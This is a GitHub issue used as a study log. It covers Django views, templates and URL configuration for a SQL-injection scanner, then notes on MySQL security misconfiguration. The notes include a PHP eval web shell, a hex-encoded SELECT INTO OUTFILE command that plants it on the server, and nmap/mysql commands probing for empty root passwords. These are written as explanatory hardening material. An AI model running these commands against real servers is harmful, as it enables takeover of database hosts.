Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

DSScan(二) #73

Open
PyxYuYu opened this issue Jan 5, 2017 · 0 comments
Open

DSScan(二) #73

PyxYuYu opened this issue Jan 5, 2017 · 0 comments

Comments

@PyxYuYu
Copy link
Owner

PyxYuYu commented Jan 5, 2017

The true nobility is in being superior to your pervious self.

0x01 DSScan

  • 视图文件 views.py
    • sql_tasks 视图函数用于渲染显示所有任务
       from django.shortcuts import render
       from .models import SqlInjection
       
       # 显示所有扫描任务
       def sql_tasks(request):
           tasks = SqlInjection.objects.all()
           return render(request, 'sqliscan/task.html', {'tasks': tasks})
    • SqlInjection.objects.all() 获取所有任务对象
    • sqliscan/task.html 为模板文件,用于前端显示
      • task.html 继承 base.html ,利用面板嵌套表格来显示所有任务
      • 利用 for 循环来显示每个 task
         {% extends "sqliscan/base.html" %}
      
         {% block title %}DSScan{% endblock %}
      
         {% block content %}
             <div class="panel panel-default">
                 <div class="panel-heading">
                     <i class="glyphicon glyphicon-tasks"></i>
                     TASK 任务列表
                     <span class="label label-warning pull-right">1</span>
                 </div>
      
                 <div class="panel-body">
                     <table class="table table-striped table-hover">
                         <thead>
                             <th>URL</th>
                             <th>TASKID</th>
                             <th>LOG</th>
                             <th>STATUS</th>
                         </thead>
                         <tbody>
                             {% for task in tasks %}
                                 <tr>
                                     <td>{{ task.target_url }}</td>
                                     <td>{{ task.task_id }}</td>
                                     <td>{{ task.scan_log }}</td>
                                     <td>{{ task.scan_status }}</td>
                                 </tr>
                             {% endfor %}
                         </tbody>
                 </table>
                 </div>
             </div>
         {% endblock %}
      • 表格中每一列的宽度,可以用 min-width 设置
      • 如果不设置固定宽度的话,增加显示列,可能会挤压到其他列的宽度,所以可以设置
        • 横向滚动
        • 设计表格展示方式
        • 设计一个按钮隐藏其他列,点击在下方显示
  • URL配置文件 urls.py
    • 之前的 url(r'^$', 'sqliscan.views.sql_tasks', name='sql_tasks'), 会提示错误
    • import 导入 views 即可
       from django.conf.urls import url
       from django.contrib import admin
       from sqliscan import views
       
       urlpatterns = [
           url(r'^admin/', admin.site.urls),
           url(r'^$', views.sql_tasks, name='sql_tasks'),
       ]
0x02 Drops Wiki

  • 自从 Wooyun 出事后,Wooyun Wiki 就消失了,现在有 Drops Wiki 替代了 Wooyun Wiki,还集成了 机器学习浏览器安全,虽然之前一些 Wooyun 的案例失效了,但它还是一个非常优秀值得学习的资料,只怪当初没能将 Wooyun Wiki 更新完(之前学到 服务配置-FTP安全配置),现在继续学习(GitHub 上也有一个类似的 Pentest Wiki
  • 服务配置
    • 敏感系统或服务数据可被访问
    • MySQL 安全配置
      • MySQL 配置导致的漏洞往往都是多个因素共同造成的
        • 最常见的就是网站中存在 phpmyadmin 等数据库管理工具或者 MySQL 允许远程连接,加上 MySQL 没有修改掉默认的用户或者使用了弱口令
        • 这样就可以获得用户权限进行数据库操作,所以在配置 MySQL 时需要对用户权限进行限制
        • 获得 MySQL 数据库操作权限后,若服务器没有禁止 MySQL 对本地文件进行存取,可以通过写入 shell ,最终完全控制服务器
        • 例如: 将以下命令写入 /www/shell.php 文件中
           <?php eval($_REQUEST[cmd]);?>
           mysql> select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e  into outfile '/www/shell.php'
      • 漏洞扫描与发现
        • MySQL 默认端口为 3306,当数据库允许远程连接时该端口会对外开放,通过对 3306 端口进行扫描就可以找到对外开放的 MySQL 服务器
           //扫描
           nmap -n --open -p 3306 X.X.X.X/24
           
           //使用root用户和空口令连接MySQL服务器
           mysql -h X.X.X.X -u root
           
           //通过nmap扫描MySQL相关的漏洞
           //检测MySQL空口令
           nmap -p3306 --script=mysql-empty-password.nse 192.168.5.1
           //检测nmap中支持扫描的所有MySQL漏洞
           nmap -p3306 --script=mysql* 192.168.5.1
      • FREEBUF 上有一篇 详解Mysql安全配置
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant